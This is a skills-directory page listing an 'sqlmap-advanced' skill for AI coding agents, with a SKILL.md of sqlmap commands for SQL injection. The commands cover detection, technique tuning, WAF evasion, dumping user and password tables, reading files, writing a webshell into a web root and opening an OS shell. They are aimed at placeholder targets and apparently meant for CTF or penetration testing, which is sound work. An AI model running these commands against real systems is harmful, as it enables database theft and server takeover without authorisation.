Skip to content
Back to skills

Sqlmap Advanced

ASecurity

sqlmap: tamper scripts, technique tuning, OS shell, evasion

  • 2 stars
  • 0 votes
  • 0 copies
  • 0 views
  • Added November 29, 2026
developmentgophpshellbashsqldatabaseperformance

Works with

  • mcp

Security analysis

A100/100

Pro scans all 3 files and shows the line behind each finding

Scanned November 29, 2026

npx -y skills add blackfoxxx/kestrel --skill sqlmap-advanced --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Sqlmap Advanced?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Sqlmap Advanced
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/blackfoxxx-sqlmap-advanced/badge)](https://www.skillsdirectory.com/skills/blackfoxxx-sqlmap-advanced)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: sqlmap-advanced
description: "sqlmap: tamper scripts, technique tuning, OS shell, evasion"
metadata: 
tags: "sqlmap,sql injection,tool,tamper,bypass,waf,os-shell,file-read,file-write,database,injection tool"
category: "tool"
mcps: autopen, pentest mcp, context1337
---

# Complete Reference for Advanced sqlmap Usage

## Timeout Control (Mandatory)

sqlmap can run for a long time. **It must be wrapped with timeout**:

```bash
timeout 480 sqlmap [params] --batch 2>&1 | tee /tmp/sqlmap_output.log
# Check existing results immediately after timeout
tail -80 /tmp/sqlmap_output.log
```

## Further Reference

- tamper script quick-reference table → [references/tamper-reference.md](references/tamper-reference.md)
- Detailed advanced-usage commands (OS Shell / file read-write / second-order injection / performance tuning) → [references/advanced-usage.md](references/advanced-usage.md)

---

## Phase 1: Basic Detection

### GET Parameter Injection

```bash
timeout 480 sqlmap -u 'http://target/page.php?id=1' \
    --batch --random-agent --level 2 --risk 2 \
    2>&1 | tee /tmp/sqlmap_output.log
```

### POST Parameter Injection

```bash
timeout 480 sqlmap -u 'http://target/login.php' \
    --data 'username=admin&password=test&submit=Login' \
    --batch --random-agent --level 2 --risk 2 \
    2>&1 | tee /tmp/sqlmap_output.log
```

**Key point**: `--data` must include all form fields (especially the submit button), since PHP commonly validates with `isset($_POST['submit'])`.

### Cookie Injection

```bash
timeout 480 sqlmap -u 'http://target/page.php' \
    --cookie 'user_id=1; session=abc123' \
    --level 3 \
    --batch --random-agent \
    2>&1 | tee /tmp/sqlmap_output.log
```

### HTTP Header Injection

```bash
timeout 480 sqlmap -u 'http://target/page.php' \
    --headers 'X-Forwarded-For: 127.0.0.1*' \
    --level 5 \
    --batch --random-agent \
    2>&1 | tee /tmp/sqlmap_output.log
```

The asterisk `*` marks the injection point's position.

### From a Burp Request File

```bash
timeout 480 sqlmap -r /tmp/request.txt \
    --batch --random-agent --level 2 --risk 2 \
    2>&1 | tee /tmp/sqlmap_output.log
```

---

## Phase 2: Precise --technique Control

| Letter | Technique | Applicable scenario |
|------|------|----------|
| B | Boolean-based blind | Boolean differences exist (page content changes) |
| E | Error-based | Error messages are echoed |
| U | UNION query | Data is echoed |
| S | Stacked queries | Semicolons supported (MySQL, MSSQL, PostgreSQL) |
| T | Time-based blind | No differences at all (last resort) |
| Q | Inline queries | Subquery injection |

```bash
# UNION + Error only (fastest)
sqlmap -u 'URL' --technique EU --batch

# Skip time-consuming time-based blind
sqlmap -u 'URL' --technique BEUS --batch
```

**Recommendation**: Use `--technique EU` for a quick check first; if that fails add `B`; only try `T` last.

---

## Phase 3: Data Extraction

```bash
# 1. List all databases
sqlmap -u 'URL' --dbs --batch

# 2. List the tables of a given database
sqlmap -u 'URL' -D target_db --tables --batch

# 3. List the columns of a given table
sqlmap -u 'URL' -D target_db -T users --columns --batch

# 4. Extract data
sqlmap -u 'URL' -D target_db -T users --dump --batch

# 5. Take only specific columns
sqlmap -u 'URL' -D target_db -T users -C username,password --dump --batch

# 6. Limit row count (for large tables)
sqlmap -u 'URL' -D target_db -T users --dump --start 1 --stop 10 --batch

# 7. Search for key tables/columns
sqlmap -u 'URL' --search -T flag --batch
sqlmap -u 'URL' --search -C password --batch
```

---

## Practical Quick Reference

| Scenario | Key command parameters |
|------|-------------|
| Quick detection | `--technique EU --level 1 --risk 1` |
| Deep detection | `--level 5 --risk 3` |
| POST form | `--data 'param1=val1&param2=val2'` |
| Cookie injection | `--cookie 'x=1' --level 3` |
| WAF environment | `--tamper=space2comment,between --random-agent` |
| Read flag file | `--file-read=/flag.txt` |
| Write webshell | `--file-write=shell.php --file-dest=/var/www/html/` |
| Get a system shell | `--os-shell` |
| Second-order injection | `--second-url URL` |
| Search for flag | `--search -T flag` or `--search -C flag` |

## Notes

- `--batch` auto-selects default answers (mandatory, since an agent cannot interact)
- `--risk 3` may execute UPDATE/DELETE — use with caution in risky environments
- `timeout 480` runs for at most 8 minutes; check existing results on timeout
- sqlmap caches results; when rerunning against the same target, use `--flush-session` to clear the cache
- If sqlmap fails to detect an injection that has been manually confirmed to exist → use `--prefix` and `--suffix` to manually specify the closure

Files in this skill

  • SKILL.md4.6 KB
  • references/advanced-usage.md1.8 KB
  • references/tamper-reference.md1.4 KB

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in development →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.